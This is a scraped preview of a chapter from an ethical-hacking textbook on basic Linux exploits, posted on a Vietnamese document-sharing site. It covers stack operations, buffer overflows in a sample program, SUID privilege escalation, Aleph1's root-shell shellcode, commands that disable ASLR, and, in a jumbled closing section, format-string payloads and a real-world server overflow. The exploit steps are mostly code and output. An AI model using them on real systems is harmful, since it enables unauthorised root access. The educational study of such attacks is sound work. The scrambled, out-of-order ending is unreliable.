gray hat hacking the ethical hackers handbook phần 4 pptx

57 232 0
gray hat hacking the ethical hackers handbook phần 4 pptx

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

CHAPTER 7 Basic Linux Exploits In this chapter we will cover basic Linux exploit concepts. • Stack operations • Stack data structure • How the stack data structure is implemented • Procedure of calling functions • Buffer overflows • Example of a buffer overflow • Overflow of previous meet.c • Ramifications of buffer overflows • Local buffer overflow exploits • Components of the “exploit sandwich” • Exploiting stack overflows by command line and generic code • Exploitation of meet.c • Exploiting small buffers by using the environment segment of memory • Exploit development process • Control eip • Determine the offset(s) • Determine the attack vector • Build the exploit sandwich • Test the exploit Why study exploits? Ethical hackers should study exploits to understand if a vulnerability is exploitable. Sometimes security professionals will mistakenly believe and publish the statement: “The vulnerability is not exploitable.” The black hat hackers know otherwise. They know that just because one person could not find an exploit to the vulnerability, that doesn’t mean someone else won’t find it. It is all a matter of time and skill level. Therefore, gray hat ethical hackers must understand how to exploit vulnerabilities and check for themselves. In the process, they may need to produce proof of concept code to demon- strate to the vendor that the vulnerability is exploitable and needs to be fixed. 147 Stack Operations The stack is one of the most interesting capabilities of an operating system. The concept of a stack can best be explained by remembering the stack of lunch trays in your school cafeteria. As you put a tray on the stack, the previous trays on the stack are covered up. As you take a tray from the stack, you take the tray from the top of the stack, which happens to be the last one put on. More formally, in computer science terms, the stack is a data structure that has the quality of a first in, last out (FILO) queue. The process of putting items on the stack is called a push and is done in the assembly code language with the push command. Likewise, the process of taking an item from the stack is called a pop and is accomplished with the pop command in assembly lan - guage code. In memory, each process maintains its own stack within the stack segment of mem - ory. Remember, the stack grows backwards from the highest memory addresses to the lowest. Two important registers deal with the stack: extended base pointer (ebp) and extended stack pointer (esp). As Figure 7-1 indicates, the ebp register is the base of the current stack frame of a process (higher address). The esp register always points to the top of the stack (lower address). Function Calling Procedure As explained in Chapter 6, a function is a self-contained module of code that is called by other functions, including the main function. This call causes a jump in the flow of the program. When a function is called in assembly code, three things take place. By convention, the calling program sets up the function call by first placing the func- tion parameters on the stack in reverse order. Next the extended instruction (eip)is saved on the stack so the program can continue where it left off when the function returns. This is referred to as the return address. Finally, the call command is executed, and the address of the function is placed in eip to execute. In assembly code, the call looks like this: 0x8048393 <main+3>: mov 0xc(%ebp),%eax 0x8048396 <main+6>: add $0x8,%eax 0x8048399 <main+9>: pushl (%eax) 0x804839b <main+11>: mov 0xc(%ebp),%eax 0x804839e <main+14>: add $0x4,%eax 0x80483a1 <main+17>: pushl (%eax) 0x80483a3 <main+19>: call 0x804835c <greeting> The called function’s responsibilities are to first save the calling program’s ebp on the stack. Next it saves the current esp to ebp (setting the current stack frame). Then esp is Gray Hat Hacking: The Ethical Hacker’s Handbook 148 Figure 7-1 The relationship of ebp and esp on a stack decremented to make room for the function’s local variables. Finally, the function gets an opportunity to execute its statements. This process is called the function prolog. In assembly code, the prolog looks like this: 0x804835c <greeting>: push %ebp 0x804835d <greeting+1>: mov %esp,%ebp 0x804835f <greeting+3>: sub $0x190,%esp The last thing a called function does before returning to the calling program is to clean up the stack by incrementing esp to ebp, effectively clearing the stack as part of the leave statement. Then the saved eip is popped off the stack as part of the return process. This is referred to as the function epilog. If everything goes well, eip still holds the next instruction to be fetched and the process continues with the statement after the function call. In assembly code, the epilog looks like this: 0x804838e <greeting+50>: leave 0x804838f <greeting+51>: ret These small bits of assembly code will be seen over and over when looking for buffer overflows. References Introduction to Buffer Overflows www.governmentsecurity.org/archive/t1995.html Links for Information on Buffer Overflows http://community.core-sdi.com/~juliano/ Summary of Stacks and Functions www.unixwiz.net/techtips/win32-callconv-asm.html Buffer Overflows Now that you have the basics down, we can get to the good stuff. As described in Chapter 6, buffers are used to store data in memory. We are mostly interested in buffers that hold strings. Buffers themselves have no mechanism to keep you from putting too much data in the reserved space. In fact, if you get sloppy as a pro - grammer, you can quickly outgrow the allocated space. For example, the following declares a string in memory of 10 bytes: char str1[10]; So what happens if you execute the following? strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); Let’s find out. //overflow.c main(){ char str1[10]; //declare a 10 byte string //next, copy 35 bytes of "A" to str1 strcpy (str1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); } Chapter 7: Basic Linux Exploits 149 PART III Then compile and execute the following: $ //notice we start out at user privileges "$" $gcc –ggdb –o overflow overflow.c ./overflow 09963: Segmentation fault Why did you get a segmentation fault? Let’s see by firing up gdb: $gdb –q overflow (gdb) run Starting program: /book/overflow Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg eip eip 0x41414141 0x41414141 (gdb) q A debugging session is active. Do you still want to close the debugger?(y or n) y $ As you can see, when you ran the program in gdb, it crashed when trying to execute the instruction at 0x41414141, which happens to be hex for AAAA (A in hex is 0x41). Next you can check that eip was corrupted with A’s: yes, eip is full of A’s and the program was doomed to crash. Remember, when the function (in this case, main) attempts to return, the saved eip value is popped off of the stack and executed next. Since the address 0x41414141 is out of your process segment, you got a segmentation fault. CAUTION Fedora and other recent builds use Address Space Layout Randomization (ASLR) to randomize stack memory calls and will have mixed results for the rest of this chapter. If you wish to use one of these builds, disable the ASLR as follows: #echo "0" > /proc/sys/kernel/randomize_va_space #echo "0" > /proc/sys/kernel/exec-shield #echo "0" > /proc/sys/kernel/exec-shield-randomize Overflow of meet.c From Chapter 6, we have meet.c: //meet.c #include <stdio.h> // needed for screen printing greeting(char *temp1,char *temp2){ // greeting function to say hello char name[400]; // string variable to hold the name strcpy(name, temp2); // copy the function argument to name printf("Hello %s %s\n", temp1, name); //print out the greeting } main(int argc, char * argv[]){ //note the format for arguments greeting(argv[1], argv[2]); //call function, pass title & name printf("Bye %s %s\n", argv[1], argv[2]); //say "bye" } //exit program Gray Hat Hacking: The Ethical Hacker’s Handbook 150 Chapter 7: Basic Linux Exploits 151 PART III To overflow the 400-byte buffer in meet.c, you will need another tool, perl. Perl is an inter - preted language, meaning that you do not need to precompile it, making it very handy to use at the command line. For now you only need to understand one perl command: `perl –e 'print "A" x 600'` Thiscommandwillsimplyprint600A’stostandardout—tryit!Usingthistrick,you will start by feeding 10 A’s to your program (remember, it takes two parameters): # //notice, we have switched to root user "#" #gcc -mpreferred-stack-boundary=2 –o meet –ggdb meet.c #./meet Mr `perl –e 'print "A" x 10'` Hello Mr AAAAAAAAAA Bye Mr AAAAAAAAAA # Next you will feed 600 A’s to the meet.c program as the second parameter as follows: #./meet Mr `perl –e 'print "A" x 600'` Segmentation fault As expected, your 400-byte buffer was overflowed; hopefully, so was eip. To verify, start gdb again: # gdb –q meet (gdb) run Mr `perl -e 'print "A" x 600'` Starting program: /book/meet Mr `perl -e 'print "A" x 600'` Program received signal SIGSEGV, Segmentation fault. 0x4006152d in strlen () from /lib/libc.so.6 (gdb) info reg eip eip 0x4006152d 0x4006152d NOTE Your values will be different—it is the concept we are trying to get across here, not the memory values. Not only did you not control eip, you have moved far away to another portion of memory. If you take a look at meet.c, you will notice that after the strcpy() function in the greeting function, there is a printf() call. That printf, in turn, calls vfprintf() in the libc library. The vfprintf() function then calls strlen. But what could have gone wrong? You have several nested functions and thereby several stack frames, each pushed on the stack. As you overflowed, you must have corrupted the arguments passed into the func - tion. Recall from the previous section that the call and prolog of a function leave the stack looking like the following illustration: Gray Hat Hacking: The Ethical Hacker’s Handbook 152 If you write past eip, you will overwrite the function arguments, starting with temp1. Since the printf() function uses temp1, you will have problems. To check out this the - ory, let’s check back with gdb: (gdb) (gdb) list 1 //meet.c 2 #include <stdio.h> 3 greeting(char* temp1,char* temp2){ 4 char name[400]; 5 strcpy(name, temp2); 6 printf("Hello %s %s\n", temp1, name); 7 } 8 main(int argc, char * argv[]){ 9 greeting(argv[1],argv[2]); 10 printf("Bye %s %s\n", argv[1], argv[2]); (gdb) b 6 Breakpoint 1 at 0x8048377: file meet.c, line 6. (gdb) (gdb) run Mr `perl -e 'print "A" x 600'` Starting program: /book/meet Mr `perl -e 'print "A" x 600'` Breakpoint 1, greeting (temp1=0x41414141 "", temp2=0x41414141 "") at meet.c:6 6 printf("Hello %s %s\n", temp1, name); You can see in the preceding bolded line that the arguments to your function, temp1 and temp2, have been corrupted. The pointers now point to 0x41414141 and the values are ""or NULL. The problem is that printf() will not take NULLs as the only inputs and chokes. So let’s start with a lower number of A’s, such as 401, then slowly increase until we get the effect we need: (gdb) d 1 <remove breakpoint 1> (gdb) run Mr `perl -e 'print "A" x 401'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /book/meet Mr `perl -e 'print "A" x 401'` Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [more 'A's removed for brevity] AAA Program received signal SIGSEGV, Segmentation fault. main (argc=0, argv=0x0) at meet.c:10 10 printf("Bye %s %s\n", argv[1], argv[2]); (gdb) (gdb) info reg ebp eip ebp 0xbfff0041 0xbfff0041 eip 0x80483ab 0x80483ab (gdb) (gdb) run Mr `perl -e 'print "A" x 404'` The program being debugged has been started already. Start it from the beginning? (y or n) y Chapter 7: Basic Linux Exploits 153 PART III Starting program: /book/meet Mr `perl -e 'print "A" x 404'` Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [more 'A's removed for brevity] AAA Program received signal SIGSEGV, Segmentation fault. 0x08048300 in __do_global_dtors_aux () (gdb) (gdb) info reg ebp eip ebp 0x41414141 0x41414141 eip 0x8048300 0x8048300 (gdb) (gdb) run Mr `perl -e 'print "A" x 408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /book/meet Mr `perl -e 'print "A" x 408'` Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [more 'A's removed for brevity] AAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) q A debugging session is active. Do you still want to close the debugger?(y or n) y # As you can see, when a segmentation fault occurs in gdb, the current value of eip is shown. Itisimportanttorealizethatthenumbers(400–408)arenotasimportantasthecon- cept of starting low and slowly increasing until you just overflow the saved eip and noth - ing else. This was because of the printf call immediately after the overflow. Sometimes you will have more breathing room and will not need to worry about this as much. For example, if there were nothing following the vulnerable strcpy command, there would be no problem overflowing beyond 408 bytes in this case. NOTE Remember, we are using a very simple piece of flawed code here; in real life you will encounter problems like this and more. Again, it’s the concepts we want you to get, not the numbers required to overflow a particular vulnerable piece of code. Ramifications of Buffer Overflows When dealing with buffer overflows, there are basically three things that can happen. The first is denial of service. As we saw previously, it is really easy to get a segmentation fault when dealing with process memory. However, it’s possible that is the best thing that can happen to a software developer in this situation, because a crashed program will draw attention. The other alternatives are silent and much worse. Gray Hat Hacking: The Ethical Hacker’s Handbook 154 The second case is when the eip can be controlled to execute malicious code at the user level of access. This happens when the vulnerable program is running at user level of privilege. The third and absolutely worst case scenario is when the eip can be controlled to exe - cute malicious code at the system or root level. In Unix systems, there is only one superuser, called root. The root user can do anything on the system. Some functions on Unix systems should be protected and reserved for the root user. For example, it would generally be a bad idea to give users root privileges to change passwords, so a concept called SET User ID (SUID) was developed to temporarily elevate a process to allow some files to be executed under their owner’s privileged level. So, for example, the passwd command can be owned by root and when a user executes it, the process runs as root. The problem here is that when the SUID program is vulnerable, an exploit may gain the privileges of the file’s owner (in the worst case, root). To make a program an SUID, you would issue the following command: chmod u+s <filename> or chmod 4755 <filename> The program will run with the permissions of the owner of the file. To see the full ramifi- cations of this, let’s apply SUID settings to our meet program. Then later when we exploit the meet program, we will gain root privileges. #chmod u+s meet #ls -l meet -rwsr-sr-x 1 root root 11643 May 28 12:42 meet* The first field of the last line just shown indicates the file permissions. The first position of that field is used to indicate a link, directory, or file (l, d,or–). The next three positions represent the file owner’s permissions in this order: read, write, execute. Normally, an x is used for execute; however, when the SUID condition applies, that position turns to an s as shown. That means when the file is executed, it will execute with the file owner’s permis- sions, in this case root (the third field in the line). The rest of the line is beyond the scope of this chapter and can be learned about in the reference on SUID/GUID. References SUID/GUID/Sticky Bits www.krnlpanic.com/tutorials/permissions.php “Smashing the Stack” www.phrack.org/archives/49/P49-14 MoreonBufferOverflowhttp://packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf Local Buffer Overflow Exploits Local exploits are easier to perform than remote exploits. This is because you have access to the system memory space and can debug your exploit more easily. The basic concept of buffer overflow exploits is to overflow a vulnerable buffer and change eip for malicious purposes. Remember, eip points to the next instruction to Chapter 7: Basic Linux Exploits 155 PART III be executed. A copy of eip is saved on the stack as part of calling a function in order to be able to continue with the command after the call when the function completes. If you can influence the saved eip value, when the function returns, the corrupted value of eip will be popped off the stack into the register (eip) and be executed. Components of the Exploit To build an effective exploit in a buffer overflow situation, you need to create a larger buffer than the program is expecting, using the following components. NOP Sled In assembly code, the NOP command (pronounced “No-op”) simply means to do nothing but move to the next command (NO OPeration). This is used in assembly code by optimizing compilers by padding code blocks to align with word boundaries. Hackers have learned to use NOPs as well for padding. When placed at the front of an exploit buffer, it is called a NOP sled. If eip is pointed to a NOP sled, the processor will ride the sled right into the next component. On x86 systems, the 0x90 opcode represents NOP. There are actually many more, but 0x90 is the most commonly used. Shellcode Shellcode is the term reserved for machine code that will do the hacker’s bidding. Ori- ginally, the term was coined because the purpose of the malicious code was to provide a simple shell to the attacker. Since then the term has been abused; shellcode is being used to do much more than provide a shell, such as to elevate privileges or to execute a single command on the remote system. The important thing to realize here is that shellcode is actually binary, often represented in hexadecimal form. There are tons of shellcode libraries online, ready to be used for all platforms. Chapter 9 will cover writing your own shellcode. Until that point, all you need to know is that shellcode is used in exploits to execute actions on the vulnerable system. We will use Aleph1’s shellcode (shown within a test program) as follows: //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } Gray Hat Hacking: The Ethical Hacker’s Handbook 156 Let’s check it out by compiling and running the test shellcode.c program. # //start with root level privileges #gcc –o shellcode shellcode.c #chmod u+s shellcode #su joeuser //switch to a normal user (any) $./shellcode sh-2.05b# It worked—we got a root shell prompt. Repeating Return Addresses The most important element of the exploit is the return address, which must be aligned perfectly and repeated until it overflows the saved eip value on the stack. Although it is possible to point directly to the beginning of the shellcode, it is often much easier to be a little sloppy and point to somewhere in the middle of the NOP sled. To do that, the first thing you need to know is the current esp value, which points to the top of the stack. The gcc compiler allows you to use assembly code inline and to compile programs as follows: #include <stdio.h> unsigned long get_sp(void){ __asm__("movl %esp, %eax"); } int main(){ printf("Stack pointer (ESP): 0x%x\n", get_sp()); } # gcc -o get_sp get_sp.c # ./get_sp Stack pointer (ESP): 0xbffffbd8 //remember that number for later Remember that esp value; we will use it soon as our return address, though yours will be different. At this point, it may be helpful to check and see if your system has Address Space Lay- out Randomization (ASLR) turned on. You may check this easily by simply executing the last program several times in a row. If the output changes on each execution, then your system is running some sort of stack randomization scheme. # ./get_sp Stack pointer (ESP): 0xbffffbe2 # ./get_sp Stack pointer (ESP): 0xbffffba3 # ./get_sp Stack pointer (ESP): 0xbffffbc8 Until you learn later how to work around that, go ahead and disable it as described in the Note earlier in this chapter. # echo "0" > /proc/sys/kernel/randomize_va_space #on slackware systems Now you can check the stack again (it should stay the same): # ./get_sp Stack pointer (ESP): 0xbffffbd8 # ./get_sp Stack pointer (ESP): 0xbffffbd8 //remember that number for later [...]... the individual sections of the file $ nm /fmtstr |more 08 049 448 D _DYNAMIC 08 049 5 24 D _GLOBAL_OFFSET_TABLE_ 08 048 410 R _IO_stdin_used w _Jv_RegisterClasses 08 049 5 14 d CTOR_END 08 049 510 d CTOR_LIST 08 049 51c d DTOR_END 08 049 518 d DTOR_LIST 08 048 3c8 t do_global_ctors_aux 08 048 2f4 t do_global_dtors_aux 08 049 438 d dso_handle PART III $ /fmtstr `printf "\x42\x 94\ x 04\ x08\x40\x 94\ x 04\ x08"`% .49 143 x %4\ $hn%.16209x%5\$hn... that the format string itself was stored on the stack, proven by the presence of our AAAA (0x4 141 4 141 ) test string The fact that the fourth item shown (from the stack) was our format string depends on the nature of the format function used and the location of the vulnerable call in the vulnerable program To find this value, simply use brute force and keep increasing the number of %08x tokens until the. .. • Build the exploit sandwich • Test the exploit At first, you should follow these steps exactly; later you may combine a couple of these steps as required Real-World Example http://localhost:7 144 /stream/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (800) your debugger should break as follows: gdb output [Switching to Thread 180236 (LWP 45 26)] 0x4 141 4 141 in ?? () (gdb) i r eip eip 0x4 141 4 141 0x4 141 4 141 (gdb)... follow the first column in Table 8-2 Now comes the magic Table 8-2 will present the formula to help you construct the format string used to overwrite an arbitrary address (in our case the canary address, 0x08 049 440 ) NOTE As explained in the Blaess et al reference, the “–8” is used to account for the fact that the first 8 bytes of the buffer are used to save the addresses to overwrite Therefore, the first... 000000000000000000 648 Canary at 0x08 049 440 = 0xbfffff50 Gray Hat Hacking: The Ethical Hacker’s Handbook 178 w gmon_start U libc_start_main@@GLIBC_2.0 08 049 540 A _edata 08 049 544 A _end And to view a section, say dtors, you would simply type $ objdump -s -j dtors /fmtstr /fmtstr: file format elf32-i386 Contents of section dtors: 8 049 518 ffffffff 00000000 $ DTOR Section In C/C++ there is a method,... /fmtstr `printf "\x 84\ xfd\xff\xbf"`" %4\ $s" ýÿ¿/bin/bash Canary at 0x08 049 440 = 0x00000000 Notice how short the format string can be now CAUTION The preceding format works for bash Other shells such as tcsh require other formats, for example: $ /fmtstr `printf "\x 84\ xfd\xff\xbf"`' %4\ $s' Notice the use of a single quote on the end To make the rest of the chapter’s examples easy, use the bash shell Writing... Using the %x Token to Map Out the Stack As shown in Table 8-1, the %x format token is used to provide a hex value So if we were to supply a few of %08x tokens to our vulnerable program, we should be able to dump the stack values to the screen: $ /fmtstr "AAAA %08x %08x %08x %08x" AAAA bffffd2d 00000 648 000007 74 4 141 4 141 Canary at 0x08 049 440 = 0x00000000 $ The 08 is used to define precision of the hex... focus/INFIGO-2006-03-01, which describes a buffer overflow in the v0.12 14 URL string It turns out that if you attach a debugger to the server and send the server a URL that looks like this: Gray Hat Hacking: The Ethical Hacker’s Handbook 1 64 As you can see, the process ID (PID) in our case was 107 94; yours will be different Now we can attach to the process with gdb and tell gdb to follow all child processes:... tokens until the beginning of the format string is found For our simple example (fmtstr), the distance, called the offset, is defined as 4 PART III #gcc -o fmtstr fmtstr.c #./fmtstr Testing Testing Canary at 0x08 049 440 = 0x00000000 #chmod u+s fmtstr #su joeuser $ Gray Hat Hacking: The Ethical Hacker’s Handbook 1 74 Using the %s Token to Read Arbitrary Strings Because we control the format string, we can... NULL values, then comes the program name, then the environment variables, and finally the arguments The following line of code from exploit2.c sets the value of the environment for the process as the shellcode: char *env[] = { shellcode, NULL }; That places the beginning of the shellcode at the precise location: Addr of shellcode=0xbffffffa–length(program name)–length(shellcode) Let’s verify that with . (LWP 45 26)] 0x4 141 4 141 in ?? () (gdb) i r eip eip 0x4 141 4 141 0x4 141 4 141 (gdb) As you can see, we have a classic buffer overflow and have total control of eip. Now that we have accomplished the. 107 94 #netstat –pan |grep 7 144 tcp 0 0 0.0.0.:7 144 0.0.0.0:* LISTEN 107 94/ peercast Gray Hat Hacking: The Ethical Hacker’s Handbook 1 64 As you can see, the process ID (PID) in our case was 107 94; . fault. 0x4 141 4 141 in ?? () (gdb) info reg eip eip 0x4 141 4 141 0x4 141 4 141 (gdb) q A debugging session is active. Do you still want to close the debugger?(y or n) y $ As you can see, when you ran the

Ngày đăng: 14/08/2014, 18:21

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan